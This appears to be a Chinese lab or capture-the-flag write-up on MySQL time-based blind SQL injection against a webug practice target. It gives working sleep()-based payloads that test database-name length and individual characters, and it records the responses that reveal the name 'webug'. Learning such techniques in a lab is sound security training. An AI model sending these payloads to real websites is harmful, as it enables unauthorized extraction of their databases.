延时注入介绍:对于基于时间的盲注,通过构造真or假判断条件的sql语句,且sql语句中根据需要联合使用sleep()函数一同向服务器发送请求,观察服务器响应结果是否会执行所设置时间的延迟响应,以此来判断所构造条件的真or假(若执行sleep延迟,则表示当前设置的判断条件为真);然后不断调整判断条件中的数值以逼近真实值,最终确定具体的数值大小or名称拼写。
0x01 Mysql数据相关知识
1. mysql三种注释风格:
单行注释:sql语句后使用字符#或者--进行注释
多行注释:使用/* */将sql语句圈起来注释
内联注释:内联注释是MySQL数据库为了保持与其他数据库兼容,特意添加的新功能。把Mysql特有的语句放在/*! */中
2.Union联合查询:
1.Union操作符用于拼接两个或者多select查询语句
2.Union中的每个查询必须拥有相同的列数
3.Order by语句:
1.Order by 语句用于根据指定的列对结果集进行排序
2.Order by 语句默认按照升序对记录进行排序
4.Sql注入常用的函数:
1.
substr() | 截取字符 |
mid() | 截取字符 |
database() | 当前数据库 |
ord()与ascii() | 字符与ASCII互转 |
limit() | 控制查询位置 |
length() | 探测字段长度 |
sleep | 延时 |
@@basedir() | mysql安装路径 |
0x02 漏洞利用
1. 打开靶场,发现url参数id为1,尝试修改为2 发现回显hello,修改为3 发现正常无回显 我们好像意识到了什么。。。
2. 老一套探测sql注入
正常页面
1.加 ' 发现内容变了
2.加 ' and 1=1 %23 发现内容没变
3.加 ' and 1=2 %23 发现内容变了
4.发现注入点 且 并没有报错 不是显错注入
2.通过延时判断是否可以通过延时注入:
输入 | 输出 |
---|---|
1' and if(length(database())>4,sleep(3),1) %23 | 延时3秒 |
1' and if(length(database())>10,sleep(3),1) %23 | 立即刷新 |
1' and if(length(database())>7,sleep(3),1) %23 | 立即刷新 |
1' and if(length(database())=5,sleep(3),1) %23 | 延时3秒 |
判断出来可以通过延时注入此注入点,并且数据库的长度为5
3.判断数据库名称:
1' and if(ascii(substr(database(),1,1))>88,sleep(3),1) %23 | 延时3秒 |
1' and if(ascii(substr(database(),1,1))>120,sleep(3),1) %23 | 立即刷新 |
... | ... |
1' and if(ascii(substr(database(),1,1))=119,sleep(3),1) %23 | 延时3秒 |
以此类推,发现第一个字母的ascii的值为119 查ascii表发现是w
然后改动substr第二个参数,发现数据库名为webug
4.剩下的依次需要判断数据库里的表的个数、每个数据表的长度、数据表的具体值、数据表字段个数、长度、值、 还有就是指定字段的值得长度以及具体值。和bool注入类似,如果不知道怎么继续操作的,请看我另一篇文章。
最后贴出flag : gfdgdfsdg
谢谢观看
0x03 结语
原理和bool类型注入类似,不过这个是需要根据页面响应时间来判断。